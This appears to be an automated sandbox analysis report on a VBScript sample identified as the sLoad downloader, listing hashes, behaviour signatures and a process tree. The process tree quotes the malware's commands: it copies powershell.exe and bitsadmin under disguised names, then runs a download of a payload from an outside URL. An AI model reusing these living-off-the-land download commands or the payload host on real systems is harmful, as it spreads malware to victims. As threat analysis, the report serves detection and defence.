Analysis

  • max time kernel
    49s
  • max time network
    84s
  • platform
    windows7_x64
  • resource
    win7-20220331-en
  • submitted
    27/03/2022, 08:11

General

  • Target

    517d0890f443f9afc9bf3759fd6364e6408c978b613c594aeb94e1d24fef2fcc.vbs

  • Size

    6KB

  • MD5

    e23030b670693ed55a426f36a133a04c

  • SHA1

    0d1a7a0582fd29568f6796b285bfe07d2ef783c8

  • SHA256

    517d0890f443f9afc9bf3759fd6364e6408c978b613c594aeb94e1d24fef2fcc

  • SHA512

    95f9756faf7957afbd4f68232d1a56d46d424b61d9d31ba99322ec45f2db944e8201ee9ea727c6639b40e423e59f8cd0aedf83dc37e1655d4286057994b1f4b8

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\517d0890f443f9afc9bf3759fd6364e6408c978b613c594aeb94e1d24fef2fcc.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1500
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zhYAwkpK.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\ywpwhHW*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1244
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zhYAwkpK.exe
        3⤵
          PID:1716
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\ywpwhHW*.exe
          3⤵
            PID:936
        • C:\ProgramData\ywpwhHWin.exe
          "C:\ProgramData\ywpwhHWin.exe" /transfer UiqvPh /download https://waybackwhenbycynthia.com/edikaso/PRIMRC69R24D612Y/it.png C:\Users\Admin\AppData\Roaming\it.png
          2⤵
          • Executes dropped EXE
          PID:1720

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\ProgramData\ywpwhHWin.exe

        Filesize

        182KB

        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

      • C:\ProgramData\ywpwhHWin.exe

        Filesize

        182KB

        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

      • memory/1500-54-0x000007FEFBCF1000-0x000007FEFBCF3000-memory.dmp

        Filesize

        8KB

      • memory/1720-61-0x0000000075721000-0x0000000075723000-memory.dmp

        Filesize

        8KB